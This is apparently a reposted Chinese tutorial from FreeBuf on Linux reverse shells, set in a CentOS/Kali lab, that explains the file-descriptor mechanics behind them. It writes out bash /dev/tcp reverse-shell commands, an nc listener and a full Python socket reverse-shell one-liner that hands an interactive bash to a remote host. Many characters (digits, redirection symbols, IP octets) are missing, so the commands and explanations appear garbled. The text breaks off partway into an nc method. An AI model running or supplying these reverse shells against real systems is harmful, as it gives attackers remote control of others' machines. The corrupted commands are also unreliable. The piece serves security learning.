时间:2022-8-6来源:本站原创作者:佚名

本文作者:LlawLiet内容来源:FreeBuf.COM

之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。

实验环境

CentOS6.5:19..0.

kali.0:19..0.4

方法1:

反弹shell命令如下:

bash-i/dev/tcp/ip/port01

首先,使用nc在kali上监听端口:

nc-lvp

然后在CentOS6.5下输入:

bash-i/dev/tcp/19..0.4/01

可以看到shell成功反弹到了kali上面,可以执行命令:

在解释这条反弹shell的命令原理之前,首先需要掌握几个点。

linux文件描述符:linuxshell下有三种标准的文件描述符,分别如下:

0-stdin代表标准输入,使用或1-stdout代表标准输出,使用或-stderr代表标准错误输出,使用或

还有就是这个符号的含义,最好的理解是这样的:

当后面接文件时,表示将标准输出和标准错误输出重定向至文件。当后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把这个符号解释为是取地址符号,学过C语言的小伙伴们都知道这个符号代表取地址符,在C++中符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接catnotexistfile1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而的作用就是为了区分文件和文件描述符:

理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash-i代表在本地打开一个bash,然后就是/dev/tcp/ip/port,/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

在本地输入设备(键盘)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程,然后命令的执行结果或者错误也会被传到远程,查看远程,可以看到标准输出和标准错误输出都重定向到了远程:

下面在该命令后面加上01,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

那么,0也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程:

为了更形象的理解,下面给出了整个过程的数据流向,首先是本地的输入输出流向:

执行bash-i/dev/tcp/ip/port后

执行bash-i/dev/tcp/ip/port01或者bash-i/dev/tcp/ip/port0后:方法:

使用python反弹,反弹shell命令如下:

python-c"importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip,port));os.dup(s.fileno(),0);os.dup(s.fileno(),1);os.dup(s.fileno(),);p=subprocess.call([/bin/bash,-i]);"

首先,使用nc在kali上监听端口:

nc-lvp

在CentOS下使用python去反向连接,输入:

python-c"importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((19..0.4,));os.dup(s.fileno(),0);os.dup(s.fileno(),1);os.dup(s.fileno(),);p=subprocess.call([/bin/bash,-i]);

可以看到kali上成功反弹到了shell,可以执行一些命令:

在已经深入理解了第一种方法的原理后,下面来解释一下python反弹shell的原理。

首先使用socket与远程建立起连接,接下来使用到了os库的dup方法将标准输入、标准输出、标准错误输出重定向到远程,dup这个方法有两个参数,分别为文件描述符fd1和fd,当fd参数存在时,就关闭fd,然后将fd1代表的那个文件强行复制给fd,在这里可以把fd1和fd看作是C语言里的指针,将fd1赋值给fd,就相当于将fd指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为。

于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出()重定向到远程(),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

方法:

使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc,CentOS6.5安装nc方法如下:

1、下载安装wget
转载请注明原文网址:http://www.coolofsoul.com/phpkf/phpkf/24333.html

------分隔线----------------------------